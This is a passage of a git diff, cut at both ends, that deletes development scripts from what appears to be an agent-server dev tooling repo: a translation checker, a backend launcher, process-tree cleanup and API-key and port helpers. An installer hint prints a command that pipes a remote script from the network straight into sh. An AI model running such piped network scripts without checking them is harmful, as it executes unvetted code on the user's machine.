Extract the language codes from the AvailableLanguages array in the i18n index file -function getSupportedLanguageCodes() { - const i18nIndexPath = path.join(__dirname, '../src/i18n/index.ts'); - const i18nIndexContent = fs.readFileSync(i18nIndexPath, 'utf8'); - - const languageCodesRegex = /\{ label: "[^"]+", value: "([^"]+)" \}/g; - const supportedLanguageCodes = []; - let match; - - while ((match = languageCodesRegex.exec(i18nIndexContent)) !== null) { - supportedLanguageCodes.push(match[1]); - } - - return supportedLanguageCodes; -} - -// Check each translation key for missing languages, extra languages, and -// untranslated (English-copied) values -function checkTranslations(translationJson, supportedLanguageCodes) { - const missingTranslations = {}; - const extraLanguages = {}; - const untranslatedKeys = {}; - - const nonEnglishLanguageCodes = supportedLanguageCodes.filter( - (langCode) => langCode !== 'en' - ); - - Object.entries(translationJson).forEach(([key, translations]) => { - // Get the languages available for this key - const availableLanguages = Object.keys(translations); - - // Find missing languages for this key - const missing = supportedLanguageCodes.filter( - (langCode) => !availableLanguages.includes(langCode) - ); - - if (missing.length > 0) { - missingTranslations[key] = missing; - } - - // Find extra languages for this key - const extra = availableLanguages.filter( - (langCode) => !supportedLanguageCodes.includes(langCode) - ); - - if (extra.length > 0) { - extraLanguages[key] = extra; - } - - // Flag keys where every non-English value is the English value copied - // verbatim — a strong signal the key was never translated. Keys whose value - // is legitimately identical everywhere belong in IDENTICAL_VALUE_ALLOWLIST. - if ( - !IDENTICAL_VALUE_ALLOWLIST.has(key) && - translations.en !== undefined && - nonEnglishLanguageCodes.every( - (langCode) => translations[langCode] === translations.en - ) - ) { - untranslatedKeys[key] = translations.en; - } - }); - - return { missingTranslations, extraLanguages, untranslatedKeys }; -} - -module.exports = { - IDENTICAL_VALUE_ALLOWLIST, - getSupportedLanguageCodes, - checkTranslations, -}; - -if (require.main === module) { - // Load the translation file - const translationJsonPath = path.join(__dirname, '../src/i18n/translation.json'); - const translationJson = require(translationJsonPath); - - const { missingTranslations, extraLanguages, untranslatedKeys } = - checkTranslations(translationJson, getSupportedLanguageCodes()); - - const hasErrors = - Object.keys(missingTranslations).length > 0 || - Object.keys(extraLanguages).length > 0 || - Object.keys(untranslatedKeys).length > 0; - - // Generate detailed error message if there are missing translations - if (Object.keys(missingTranslations).length > 0) { - console.error('\x1b[31m%s\x1b[0m', 'ERROR: Missing translations detected'); - console.error(`Found ${Object.keys(missingTranslations).length} translation keys with missing languages:`); - - Object.entries(missingTranslations).forEach(([key, langs]) => { - console.error(`- Key "${key}" is missing translations for: ${langs.join(', ')}`); - }); - - console.error('\nPlease add the missing translations before committing.'); - } - - // Generate detailed error message if there are extra languages - if (Object.keys(extraLanguages).length > 0) { - console.error('\x1b[31m%s\x1b[0m', 'ERROR: Extra languages detected'); - console.error(`Found ${Object.keys(extraLanguages).length} translation keys with extra languages not in AvailableLanguages:`); - - Object.entries(extraLanguages).forEach(([key, langs]) => { - console.error(`- Key "${key}" has translations for unsupported languages: ${langs.join(', ')}`); - }); - - console.error('\nPlease remove the extra languages before committing.'); - } - - // Generate detailed error message if there are untranslated keys - if (Object.keys(untranslatedKeys).length > 0) { - console.error('\x1b[31m%s\x1b[0m', 'ERROR: Untranslated keys detected'); - console.error(`Found ${Object.keys(untranslatedKeys).length} translation keys where the English value is copied to every language:`); - - Object.entries(untranslatedKeys).forEach(([key, value]) => { - console.error(`- Key "${key}" has the same value ("${value}") for all languages`); - }); - - console.error('\nPlease translate the values before committing. If a value is intentionally identical in every language (brand name, technical term, format string), add the key to IDENTICAL_VALUE_ALLOWLIST in scripts/check-translation-completeness.cjs.'); - } - - // Exit with error code if there are issues - if (hasErrors) { - process.exit(1); - } else { - console.log('\x1b[32m%s\x1b[0m', 'All translation keys have complete language coverage!'); - } -} diff --git a/scripts/dev-extra-backend.mjs b/scripts/dev-extra-backend.mjs deleted file mode 100644 index 7a906aab2..000000000 --- a/scripts/dev-extra-backend.mjs +++ /dev/null @@ -1,243 +0,0 @@ -import { spawn } from "node:child_process"; -import { mkdirSync } from "node:fs"; -import path from "node:path"; -import process from "node:process"; -import { setTimeout as delay } from "node:timers/promises"; -import { pathToFileURL } from "node:url"; - -import { - buildAgentServerCommand, - buildAgentServerEnv, - buildSafeDevConfig, - formatMissingUvxGuidance, - validateLocalAgentServerPath, -} from "./dev-safe.mjs"; -import { - getProcessTreeSpawnOptions, - isProcessRunning, - signalProcessTree, -} from "./dev-process-utils.mjs"; - -const DEFAULT_EXTRA_BACKEND_PORT = 18002; -const DEFAULT_EXTRA_VSCODE_PORT = 18003; -const DEFAULT_WAIT_TIMEOUT_MS = 30_000; - -function parsePort(value, fallback) { - if (value == null || value === "") { - return fallback; - } - - const parsed = Number.parseInt(value, 10); - if (!Number.isInteger(parsed) || parsed <= 0) { - throw new Error(`Invalid port: ${value}`); - } - - return parsed; -} - -/** - * Build a config for an *extra* standalone agent-server that shares the - * bundled instance's persistence (state dir, conversations, secret key) - * but listens on a different backend + vscode port. - * - * @param {string} cwd - * @param {Record} env - */ -export function buildExtraBackendConfig(cwd = process.cwd(), env = process.env) { - const base = buildSafeDevConfig(cwd, env); - - const backendPort = parsePort( - env.OH_CANVAS_EXTRA_BACKEND_PORT, - DEFAULT_EXTRA_BACKEND_PORT, - ); - const vscodePort = parsePort( - env.OH_CANVAS_EXTRA_VSCODE_PORT, - DEFAULT_EXTRA_VSCODE_PORT, - ); - - return { - ...base, - backendPort, - vscodePort, - backendBaseUrl: `http://127.0.0.1:${backendPort}`, - backendHost: `127.0.0.1:${backendPort}`, - }; -} - -function isEnoentError(error) { - return Boolean( - (error && - typeof error === "object" && - "code" in error && - error.code === "ENOENT") || - /ENOENT/.test(String(error)), - ); -} - -async function waitForServer(url, timeoutMs = DEFAULT_WAIT_TIMEOUT_MS) { - const startedAt = Date.now(); - - while (Date.now() - startedAt < timeoutMs) { - try { - const response = await fetch(url); - if (response.ok) { - return; - } - } catch { - // Keep polling until timeout. - } - - await delay(500); - } - - throw new Error(`Timed out waiting for agent-server at ${url}`); -} - -function spawnProcess(command, args, options = {}) { - const child = spawn(command, args, getProcessTreeSpawnOptions({ - stdio: "inherit", - ...options, - })); - - child.once("error", (error) => { - if (isEnoentError(error) && command === "uvx") { - console.error(formatMissingUvxGuidance(options?.cwd)); - } else if (isEnoentError(error)) { - console.error( - `Failed to start ${command}. Make sure it is installed and on your PATH.`, - ); - } else { - console.error(`Failed to start ${command}:`, error); - } - }); - - return child; -} - -async function main() { - const config = buildExtraBackendConfig(); - - if (process.env.OH_AGENT_SERVER_LOCAL_PATH) { - validateLocalAgentServerPath(process.env.OH_AGENT_SERVER_LOCAL_PATH); - } - - for (const dir of [ - config.stateDir, - config.tmuxTmpDir, - config.conversationsPath, - config.workspacesPath, - config.bashEventsDir, - ]) { - mkdirSync(dir, { recursive: true }); - } - - const agentServerCmd = buildAgentServerCommand(); - - const secretKeySource = process.env.OH_SECRET_KEY - ? "custom (from OH_SECRET_KEY)" - : "default (for local development)"; - - console.log("Starting EXTRA standalone agent-server (shared state)..."); - console.log(`- agent-server: ${agentServerCmd.source}`); - console.log(`- backend: ${config.backendBaseUrl}`); - console.log(`- vscode port: ${config.vscodePort}`); - console.log(`- shared state dir: ${config.stateDir}`); - console.log(`- shared conversations: ${config.conversationsPath}`); - console.log(`- secret key: ${secretKeySource}`); - console.log(""); - console.log( - "Connect via the GUI: open Add Backend, enter " + - `${config.backendBaseUrl} as the host. Leave the API key blank ` + - "unless this server is started with OH_SESSION_API_KEYS_0 set.", - ); - console.log(""); - - const backend = spawnProcess( - agentServerCmd.command, - [ - ...agentServerCmd.args, - "--host", - "127.0.0.1", - "--port", - String(config.backendPort), - ], - { - cwd: config.cwd, - env: { - ...process.env, - ...buildAgentServerEnv(config), - }, - }, - ); - - let shuttingDown = false; - - const shutdown = (signal = "SIGTERM") => { - if (shuttingDown) { - return; - } - - shuttingDown = true; - signalProcessTree(backend, signal); - - setTimeout(() => { - if (isProcessRunning(backend)) { - signalProcessTree(backend, "SIGKILL"); - } - process.exit(process.exitCode ?? 0); - }, 3000); - }; - - process.on("SIGINT", () => shutdown("SIGINT")); - process.on("SIGTERM", () => shutdown("SIGTERM")); - - const backendErrored = new Promise((_, reject) => { - backend.once("error", (error) => reject(error)); - }); - const backendExited = new Promise((_, reject) => { - backend.once("exit", (code, signal) => { - if (!shuttingDown) { - reject( - new Error( - `agent-server exited before startup completed (code=${code ?? "null"}, signal=${signal ?? "null"})`, - ), - ); - } - }); - }); - - try { - await Promise.race([ - waitForServer(`${config.backendBaseUrl}/server_info`), - backendErrored, - backendExited, - ]); - } catch (error) { - shutdown(); - throw error; - } - - console.log(`Extra agent-server is ready at ${config.backendBaseUrl}.`); - - backend.once("exit", (code) => { - if (!shuttingDown) { - console.error( - `agent-server exited unexpectedly with code ${code ?? 0}`, - ); - shutdown(); - process.exitCode = code ?? 1; - } else { - process.exitCode = code ?? 0; - } - }); -} - -if ( - process.argv[1] && - import.meta.url === pathToFileURL(process.argv[1]).href -) { - main().catch((error) => { - console.error(error instanceof Error ? error.message : error); - process.exit(1); - }); -} diff --git a/scripts/dev-process-utils.mjs b/scripts/dev-process-utils.mjs deleted file mode 100644 index 78dac1df6..000000000 --- a/scripts/dev-process-utils.mjs +++ /dev/null @@ -1,145 +0,0 @@ -import { spawnSync } from "node:child_process"; -import process from "node:process"; - -/** - * Return true while Node still considers the child process active. - * - * Do not use ChildProcess#killed for cleanup decisions. In Node, `killed` - * only means a signal was sent successfully; it does not mean the process has - * exited. That distinction matters for dev launchers because uvx/npm - * wrappers can receive SIGTERM while their long-running child process keeps - * serving on the original port. - */ -export function isProcessRunning(proc) { - return proc.exitCode === null && proc.signalCode === null; -} - -/** - * Add spawn options needed for process-tree cleanup. - * - * On POSIX, `detached: true` makes the spawned service the leader of a new - * process group. Later we can signal `-pid` to terminate that whole group, - * including wrapper chains like: - * - * launcher -> uvx -> python agent-server - * launcher -> npm -> sh -> Vite - * - * Windows does not support POSIX process groups, so callers fall back to - * signaling the direct child process there. - */ -export function getProcessTreeSpawnOptions(options = {}) { - return { - ...options, - detached: process.platform !== "win32", - }; -} - -/** - * Resolve a service command to a directly spawnable target on Windows. - * - * Services spawn without a shell so argument values reach the child verbatim. - * Spawning `uvx` via cmd.exe instead makes it parse the args: a constraint like - * `agent-client-protocol<0.11` is read as `<` input redirection and the spawn - * dies with "The system cannot find the file specified." Resolving to an - * absolute path lets callers spawn it shell-free. - * - * Returns `command` unchanged off Windows, when already a path, or if the lookup - * fails. - */ -export function resolveWindowsCommand( - command, - platform = process.platform, - lookup = whereCommandLookup, -) { - if (platform !== "win32") { - return command; - } - if (command.includes("/") || command.includes("\\")) { - return command; - } - return lookup(command) || command; -} - -function whereCommandLookup(command) { - const result = spawnSync("where.exe", [command], { encoding: "utf8" }); - if (result.status !== 0 || !result.stdout) { - return null; - } - return result.stdout.split(/\r?\n/).find(Boolean)?.trim() || null; -} - -/** - * Signal the whole spawned service tree when possible. - * - * POSIX `process.kill(-pid, signal)` targets the process group whose id is - * `pid`; this only works because services are spawned with - * `getProcessTreeSpawnOptions()`. Without the negative pid, shutdown would - * often stop only the wrapper process and leave the actual server child - * listening on its port. - */ -export function signalProcessTree(proc, signal) { - if (!isProcessRunning(proc)) { - return false; - } - - try { - if (process.platform === "win32" && proc.pid) { - killWindowsProcessTree(proc, signal); - } else if (!proc.pid) { - proc.kill(signal); - } else { - process.kill(-proc.pid, signal); - } - return true; - } catch (err) { - if (err?.code === "ESRCH") { - return false; - } - throw err; - } -} - -/** - * Windows has no POSIX process groups: ChildProcess#kill reaches only the - * direct child (e.g. the uvx wrapper), leaving grandchildren — the actual - * python agent-server holding its port — running. `taskkill /t` walks the - * child tree instead. Windows also has no graceful tree signal (taskkill - * without /f posts WM_CLOSE, which console processes ignore), so SIGTERM and - * SIGKILL both map to the same forceful /f kill; callers' delayed SIGKILL - * pass skips already-exited trees via isProcessRunning, so the repeat is a - * no-op. A non-zero taskkill exit just means the tree already exited — only - * a failure to spawn taskkill itself falls back to the direct kill. - */ -function killWindowsProcessTree(proc, signal) { - const result = spawnSync( - "taskkill", - ["/pid", String(proc.pid), "/t", "/f"], - // windowsHide avoids a console window flash when invoked from the - // packaged (GUI) Electron process. - { stdio: "ignore", windowsHide: true }, - ); - if (result.error) { - proc.kill(signal); - } -} - -export function createShutdownHookRegistry(onError) { - const hooks = new Set(); - - return { - add(hook) { - hooks.add(hook); - return () => hooks.delete(hook); - }, - - run() { - for (const hook of hooks) { - try { - hook(); - } catch (err) { - onError?.(err); - } - } - }, - }; -} diff --git a/scripts/dev-safe.mjs b/scripts/dev-safe.mjs deleted file mode 100644 index d7b12b85b..000000000 --- a/scripts/dev-safe.mjs +++ /dev/null @@ -1,1084 +0,0 @@ -import { spawn } from "node:child_process"; -import { randomBytes } from "node:crypto"; -import { - existsSync, - mkdirSync, - readdirSync, - readFileSync, - statSync, - unlinkSync, - writeFileSync, -} from "node:fs"; -import net from "node:net"; -import { homedir } from "node:os"; -import path from "node:path"; -import process from "node:process"; -import { setTimeout as delay } from "node:timers/promises"; -import { fileURLToPath, pathToFileURL } from "node:url"; - -import { - getProcessTreeSpawnOptions, - isProcessRunning, - signalProcessTree, -} from "./dev-process-utils.mjs"; -// buildRuntimeServicesInfo moved to its own dependency-free module so the -// Docker entrypoint can run it as a CLI. Re-exported below for back-compat -// (dev-with-automation.mjs and tests still import it from here). -import { buildRuntimeServicesInfo } from "./runtime-services-info.mjs"; -import { fileLog, stripAnsi } from "./logger.mjs"; - -// ── Centralized config (single source of truth for versions, ports, etc.) ─── -const __dev_safe_dirname = path.dirname(fileURLToPath(import.meta.url)); -const SHARED_DEFAULTS = JSON.parse( - readFileSync( - path.join(__dev_safe_dirname, "..", "config", "defaults.json"), - "utf-8", - ), -); - -const DEFAULT_BACKEND_PORT = SHARED_DEFAULTS.ports.agentServer; -const DEFAULT_VITE_PORT = 3001; -const DEFAULT_WAIT_TIMEOUT_MS = 30_000; -const DEFAULT_AGENT_SERVER_PACKAGE = SHARED_DEFAULTS.packages.agentServer; -const AGENT_SERVER_GIT_REPO = "https://github.com/OpenHands/software-agent-sdk"; -const LOCAL_AGENT_SERVER_SUBDIRS = [ - "openhands-agent-server", - "openhands-sdk", - "openhands-tools", - "openhands-workspace", -]; -const DEFAULT_AGENT_SERVER_VERSION = SHARED_DEFAULTS.versions.agentServer; -// Temporary transitive-dep pin: openhands-sdk 1.37.0 leaves agent-client-protocol -// unbounded (>=0.10.1), but acp 0.11.0 reordered the ACP prompt() args and breaks -// the SDK's ACP client. Hold acp <0.11 until a fixed SDK ships. See config/defaults.json. -const AGENT_CLIENT_PROTOCOL_CONSTRAINT = - SHARED_DEFAULTS.constraints?.agentClientProtocol; -const FRONTEND_REQUIRED_BINS = ["cross-env", "react-router"]; - -/** - * Generate a cryptographically secure random API key. - * Returns a 64-character hex string (256-bit). - */ -export function generateRandomApiKey() { - return randomBytes(32).toString("hex"); -} - -// Where the auto-generated API key is persisted so it stays stable across -// `npm run dev` restarts. Keeping the key stable means the value baked into -// the frontend (VITE_SESSION_API_KEY) and the persisted backend-registry entry -// (`openhands-backends` localStorage) stay in sync without users needing to -// set anything in `.env`. -// -// To rotate the key, delete this file. To pin a key explicitly, export -// LOCAL_BACKEND_API_KEY — it takes precedence over the persisted file. -export const DEFAULT_API_KEY_PATH = path.join( - homedir(), - ".openhands", - "agent-canvas", - "api-key.txt", -); - -/** @deprecated Use DEFAULT_API_KEY_PATH */ -export const DEFAULT_SESSION_API_KEY_PATH = DEFAULT_API_KEY_PATH; - -// Where the OH_SECRET_KEY is persisted so dev mode and Docker mode share the -// same encryption key when both use ~/.openhands as their state directory. -// docker/entrypoint.sh reads and writes this same file, so whichever mode runs -// first generates the key and the other picks it up automatically. -// -// To rotate the key, delete this file and restart both modes. To pin a key -// explicitly, export OH_SECRET_KEY — that takes precedence over the file. -export const DEFAULT_SECRET_KEY_PATH = path.join( - homedir(), - ".openhands", - "agent-canvas", - "secret-key.txt", -); - -// Cache so repeated lookups within a single process return the same key, -// keyed by file path so tests can use temp paths in isolation. -const persistedApiKeyCache = new Map(); - -/** - * Load the persisted default API key, generating + persisting one if the file - * doesn't exist yet. - * - * Best-effort: if the file can't be written (e.g. read-only home dir), we - * fall back to an in-memory key for this process so dev still works -- the - * key just won't survive a restart. - * - * @param {string} filePath - Where to read/write the key. - * @returns {string} The (hex) API key. - */ -export function getOrCreatePersistedApiKeyFile( - filePath = DEFAULT_API_KEY_PATH, -) { - return getOrCreatePersistedApiKey(filePath, "session"); -} - -/** @deprecated Use getOrCreatePersistedApiKeyFile */ -export function getOrCreatePersistedSessionApiKey( - filePath = DEFAULT_API_KEY_PATH, -) { - return getOrCreatePersistedApiKeyFile(filePath); -} - -/** - * Load a persisted default API key, generating + persisting one if the file - * doesn't exist yet. - * - * Best-effort: if the file can't be written (e.g. read-only home dir), we - * fall back to an in-memory key for this process so dev still works -- the - * key just won't survive a restart. - * - * @param {string} filePath - Where to read/write the key. - * @param {string} label - Human-readable key label for warning messages. - * @returns {string} The (hex) API key. - */ -export function getOrCreatePersistedApiKey(filePath, label = "API") { - const cached = persistedApiKeyCache.get(filePath); - if (cached) return cached; - - // Try to read an existing key. - try { - const existing = readFileSync(filePath, "utf8").trim(); - if (existing) { - persistedApiKeyCache.set(filePath, existing); - return existing; - } - // File exists but is empty -- treat as if missing and regenerate. - } catch (error) { - if (!isEnoentError(error)) { - console.warn( - `Could not read persisted ${label} API key from ${filePath}: ${error.message}. Regenerating.`, - ); - } - } - - // Generate and persist a new key. - const newKey = generateRandomApiKey(); - try { - mkdirSync(path.dirname(filePath), { recursive: true }); - writeFileSync(filePath, `${newKey}\n`, { mode: 0o600 }); - } catch (error) { - console.warn( - `Could not persist ${label} API key to ${filePath}: ${error.message}. Falling back to in-memory key (will not survive restarts).`, - ); - } - persistedApiKeyCache.set(filePath, newKey); - return newKey; -} - -/** - * Clear the in-memory cache used by {@link getOrCreatePersistedSessionApiKey}. - * Intended for tests that swap the persisted file path between cases. - */ -export function resetPersistedSessionApiKeyCache() { - persistedApiKeyCache.clear(); -} - -function isEnoentError(error) { - return Boolean( - (error && - typeof error === "object" && - "code" in error && - error.code === "ENOENT") || - /ENOENT/.test(String(error)), - ); -} - -/** - * Find a free port, preferring the specified port if available. - * - * Tries the preferred port first; if it's busy, falls back to letting - * the OS assign any available port. This preserves predictable defaults - * while gracefully handling port conflicts. - * - * **Note on race conditions:** There is a small window between when this - * function checks port availability and when the calling service actually - * binds to the port. During this window, another process could theoretically - * grab the port. This is an accepted limitation of the "check-then-use" - * approach. Callers (like agent-server) should handle EADDRINUSE gracefully. - * For Vite, `strictPort: true` ensures a fast failure if this occurs. - * - * @param {number} preferredPort - The port to try first - * @param {string} host - The host to bind to (default: "127.0.0.1") - * @returns {Promise} The actual port that was acquired - */ -export async function findFreePort(preferredPort, host = "127.0.0.1") { - // If preferredPort is 0, skip the check and go straight to OS assignment - if (preferredPort > 0) { - const preferredAvailable = await tryPort(preferredPort, host); - if (preferredAvailable) { - return preferredPort; - } - } - - // Fall back to OS-assigned port - return new Promise((resolve, reject) => { - const server = net.createServer(); - server.once("error", reject); - server.listen(0, host, () => { - const { port } = server.address(); - server.close(() => resolve(port)); - }); - }); -} - -/** - * Check if a port is available by attempting to bind to it. - * - * @param {number} port - The port to check - * @param {string} host - The host to bind to - * @returns {Promise} True if the port is available - */ -function tryPort(port, host = "127.0.0.1") { - return new Promise((resolve) => { - const server = net.createServer(); - server.once("error", () => resolve(false)); - server.listen(port, host, () => { - server.close(() => resolve(true)); - }); - }); -} - -/** - * Assert that all listed ports are available, throwing a descriptive error if - * any are already in use. - * - * Intended as a pre-flight check before spawning services so that a concurrent - * agent-canvas instance is detected immediately rather than silently starting - * on a different port. - * - * @param {Array<{name: string, port: number}>} portConfigs - Named port list - * @param {string} [host] - */ -export async function assertPortsFree(portConfigs, host = "127.0.0.1") { - const results = await Promise.all( - portConfigs.map(async ({ name, port }) => ({ - name, - port, - free: await tryPort(port, host), - })), - ); - const busy = results.filter(({ free }) => !free); - if (busy.length === 0) return; - - const lines = busy.map(({ name, port }) => ` • ${name}: port ${port}`).join("\n"); - throw new Error( - `Cannot start: the following ports are already in use:\n\n${lines}\n\n` + - `Another agent-canvas instance may already be running.\n` + - `Stop it first, or override the port via environment variables (e.g. PORT=).`, - ); -} - -/** - * Find multiple free ports at once, each preferring its specified default. - * - * Allocates ports sequentially to avoid race conditions between checks. - * - * @param {Array<{name: string, preferred: number}>} portConfigs - Port configurations - * @param {string} host - The host to bind to (default: "127.0.0.1") - * @returns {Promise>} Map of name to actual port - */ -export async function findFreePorts(portConfigs, host = "127.0.0.1") { - const result = {}; - const usedPorts = new Set(); - - for (const { name, preferred } of portConfigs) { - // Try preferred if not already taken by a previous allocation - // Skip if preferred is 0 (means "any port") or already used - if (preferred > 0 && !usedPorts.has(preferred)) { - const available = await tryPort(preferred, host); - if (available) { - result[name] = preferred; - usedPorts.add(preferred); - continue; - } - } - - // Fall back to OS-assigned port, retrying if we get a collision - let port; - let attempts = 0; - const maxAttempts = 100; - do { - port = await findFreePort(0, host); - if (++attempts > maxAttempts) { - throw new Error( - `Could not allocate unique port for "${name}" after ${maxAttempts} attempts`, - ); - } - } while (usedPorts.has(port)); - - result[name] = port; - usedPorts.add(port); - } - - return result; -} - -export function formatMissingUvxGuidance(cwd = process.cwd()) { - const readmePath = path.join(cwd, "README.md"); - - return [ - "Failed to start uvx. Make sure uv is installed and on your PATH.", - "", - "To fix this:", - "1. Install uv:", - " curl -LsSf https://astral.sh/uv/install.sh | sh", - "2. Make sure the uv bin dir is on your PATH:", - ' export PATH="$HOME/.local/bin:$PATH"', - " command -v uvx", - "", - "Need Windows or another install method? https://docs.astral.sh/uv/getting-started/installation/", - `See the local Quickstart for details: ${readmePath}`, - "", - "Other options:", - "- npm run dev:frontend # use an already running backend", - "- npm run dev:mock # run the frontend with mock APIs", - ].join("\n"); -} - -function npmBinCandidates(binName, platform = process.platform) { - const candidates = [binName]; - if (platform === "win32") { - candidates.push(`${binName}.cmd`, `${binName}.ps1`); - } - return candidates; -} - -export function getMissingFrontendDependencyBins( - cwd = process.cwd(), - platform = process.platform, -) { - const binDir = path.join(cwd, "node_modules", ".bin"); - return FRONTEND_REQUIRED_BINS.filter( - (binName) => - !npmBinCandidates(binName, platform).some((candidate) => - existsSync(path.join(binDir, candidate)), - ), - ); -} - -export function formatMissingFrontendDependenciesGuidance( - missingBins, - cwd = process.cwd(), -) { - const missingList = missingBins.join(", "); - return [ - "Frontend dependencies are not installed or are incomplete.", - "", - `Missing npm binaries: ${missingList}`, - "", - "Run this from the repository root:", - " npm ci", - "", - `Repository root: ${cwd}`, - ].join("\n"); -} - -export function validateFrontendDependencies( - cwd = process.cwd(), - platform = process.platform, -) { - const missingBins = getMissingFrontendDependencyBins(cwd, platform); - if (missingBins.length > 0) { - throw new Error( - formatMissingFrontendDependenciesGuidance(missingBins, cwd), - ); - } -} - -/** - * Build the uvx command and arguments for running agent-server. - * - * Environment variables (highest precedence first): - * - OH_AGENT_SERVER_LOCAL_PATH: Absolute path to a software-agent-sdk checkout. - * Runs the local checkout via uvx with editable installs of the workspace - * packages (openhands-sdk, openhands-tools, openhands-workspace) so source - * edits are picked up without a manual reinstall. The agent-server itself - * is rebuilt from local source on each invocation (--reinstall). - * - OH_AGENT_SERVER_GIT_REF: Git commit SHA or branch name - * - OH_AGENT_SERVER_VERSION: Specific PyPI version (e.g., "1.37.0") - * - * If none are set, defaults to the released version specified by - * DEFAULT_AGENT_SERVER_VERSION. Set OH_AGENT_SERVER_GIT_REF to use a - * git branch or commit instead. - * - * @param {Record} env - * @returns {{ command: string, args: string[], source: string }} - */ -export function buildAgentServerCommand(env = process.env) { - const localPath = env.OH_AGENT_SERVER_LOCAL_PATH; - const gitRef = env.OH_AGENT_SERVER_GIT_REF; - const version = env.OH_AGENT_SERVER_VERSION; - - const uvxArgs = []; - let source = ""; - - if (localPath) { - if (!path.isAbsolute(localPath)) { - throw new Error( - `OH_AGENT_SERVER_LOCAL_PATH must be an absolute path, got: ${localPath}`, - ); - } - uvxArgs.push( - "--reinstall", - "--from", - path.join(localPath, "openhands-agent-server"), - "--with-editable", - path.join(localPath, "openhands-sdk"), - "--with-editable", - path.join(localPath, "openhands-tools"), - "--with-editable", - path.join(localPath, "openhands-workspace"), - "agent-server", - ); - source = `local (${localPath})`; - } else if (gitRef) { - // Use git ref with subdirectory syntax for uv workspace monorepo. - // The software-agent-sdk repo has packages in subdirectories: - // openhands-agent-server/, openhands-sdk/, openhands-tools/, openhands-workspace/ - // All four must come from the same ref so inter-package APIs stay in sync. - // - // --reinstall is required because the git branch may carry the same version - // string as the current PyPI release (e.g. both "1.26.0"). Without it, uv - // silently reuses the cached PyPI wheels and the git ref is never actually - // used, even though it was explicitly requested. - const baseGitUrl = `git+${AGENT_SERVER_GIT_REPO}@${gitRef}`; - uvxArgs.push( - "--reinstall", - "--from", - `${baseGitUrl}#subdirectory=openhands-agent-server`, - "--with", - `${baseGitUrl}#subdirectory=openhands-sdk`, - "--with", - `${baseGitUrl}#subdirectory=openhands-tools`, - "--with", - `${baseGitUrl}#subdirectory=openhands-workspace`, - "agent-server", - ); - source = `git (${gitRef})`; - } else if (version) { - // Use specific PyPI version: uvx --from openhands-agent-server==version agent-server - // The package name differs from the executable name, so we need --from syntax - // Pin all SDK packages to the same version for consistency - uvxArgs.push( - "--from", - `${DEFAULT_AGENT_SERVER_PACKAGE}==${version}`, - "--with", - `openhands-sdk==${version}`, - "--with", - `openhands-tools==${version}`, - "--with", - `openhands-workspace==${version}`, - ); - if (AGENT_CLIENT_PROTOCOL_CONSTRAINT) { - uvxArgs.push("--with", AGENT_CLIENT_PROTOCOL_CONSTRAINT); - } - uvxArgs.push("agent-server"); - source = `PyPI (${version})`; - } else { - // Default to released PyPI version - // Pin all SDK packages to the same version for consistency - uvxArgs.push( - "--from", - `${DEFAULT_AGENT_SERVER_PACKAGE}==${DEFAULT_AGENT_SERVER_VERSION}`, - "--with", - `openhands-sdk==${DEFAULT_AGENT_SERVER_VERSION}`, - "--with", - `openhands-tools==${DEFAULT_AGENT_SERVER_VERSION}`, - "--with", - `openhands-workspace==${DEFAULT_AGENT_SERVER_VERSION}`, - ); - if (AGENT_CLIENT_PROTOCOL_CONSTRAINT) { - uvxArgs.push("--with", AGENT_CLIENT_PROTOCOL_CONSTRAINT); - } - uvxArgs.push("agent-server"); - source = `PyPI (${DEFAULT_AGENT_SERVER_VERSION}, default)`; - } - - return { - command: "uvx", - args: uvxArgs, - source, - }; -} - -function parsePort(value, fallback) { - if (value == null || value === "") { - return fallback; - } - - const parsed = Number.parseInt(value, 10); - if (!Number.isInteger(parsed) || parsed <= 0) { - throw new Error(`Invalid port: ${value}`); - } - - return parsed; -} - -/** - * Build safe dev configuration (synchronous version). - * - * Uses the port values from environment variables or defaults WITHOUT checking - * port availability. Use this when: - * - You need synchronous config (e.g., for test setup, config inspection) - * - Ports are already known to be available (e.g., specified via env vars) - * - You're building config objects for downstream use, not starting services - * - * For scripts that actually start services (dev-safe.mjs main, dev-with-automation.mjs), - * use {@link buildSafeDevConfigAsync} instead to handle port conflicts gracefully. - * - * @param {string} cwd - Current working directory - * @param {Record} env - Environment variables - * @returns {SafeDevConfig} Configuration object - */ -export function buildSafeDevConfig(cwd = process.cwd(), env = process.env) { - const backendPort = parsePort( - env.OH_CANVAS_SAFE_BACKEND_PORT, - DEFAULT_BACKEND_PORT, - ); - const vscodePort = parsePort(env.OH_CANVAS_SAFE_VSCODE_PORT, backendPort + 1); - - return buildConfigFromPorts({ backendPort, vscodePort }, cwd, env); -} - -/** - * Build safe dev configuration with dynamic port allocation. - * - * Tries preferred ports first; if busy, finds available alternatives. - * This is the recommended entry point for scripts that start services. - * - * @param {string} cwd - Current working directory - * @param {Record} env - Environment variables - * @returns {Promise} Configuration object with allocated ports - */ -export async function buildSafeDevConfigAsync( - cwd = process.cwd(), - env = process.env, -) { - // Get preferred ports from env or defaults - const preferredBackendPort = parsePort( - env.OH_CANVAS_SAFE_BACKEND_PORT, - DEFAULT_BACKEND_PORT, - ); - const preferredVscodePort = parsePort( - env.OH_CANVAS_SAFE_VSCODE_PORT, - preferredBackendPort + 1, - ); - - // Fail fast if any required port is already in use. - await assertPortsFree([ - { name: "agent-server", port: preferredBackendPort }, - { name: "vscode", port: preferredVscodePort }, - ]); - - return buildConfigFromPorts( - { backendPort: preferredBackendPort, vscodePort: preferredVscodePort }, - cwd, - env, - ); -} - -/** - * @typedef {object} SafeDevConfig - * @property {string} cwd - * @property {number} backendPort - * @property {number} vscodePort - * @property {string} stateDir - * @property {string} tmuxTmpDir - * @property {string} conversationsPath - * @property {string} workspacesPath - * @property {string} bashEventsDir - * @property {string} backendBaseUrl - * @property {string} backendHost - * @property {string} workingDir - * @property {string} secretKey - * @property {string} sessionApiKey - * @property {string} canvasToolsDir - */ - -/** - * Internal helper to build config from already-resolved ports. - * @param {{backendPort: number, vscodePort: number}} ports - * @param {string} cwd - * @param {Record} env - * @returns {SafeDevConfig} - */ -function buildConfigFromPorts(ports, cwd, env) { - const { backendPort, vscodePort } = ports; - const stateDir = path.resolve( - cwd, - env.OH_CANVAS_SAFE_STATE_DIR || - path.join(homedir(), ".openhands", "agent-canvas"), - ); - const conversationsPath = path.join(stateDir, "dev_conversations"); - const workspacesPath = path.join(stateDir, "workspaces"); - // Use provided secret key, or read/generate one persisted to - // ~/.openhands/agent-canvas/secret-key.txt. Persisting ensures dev mode - // and Docker mode share the same encryption key when they mount the same - // ~/.openhands directory (docker/entrypoint.sh reads/writes the same file). - const secretKeyPath = - 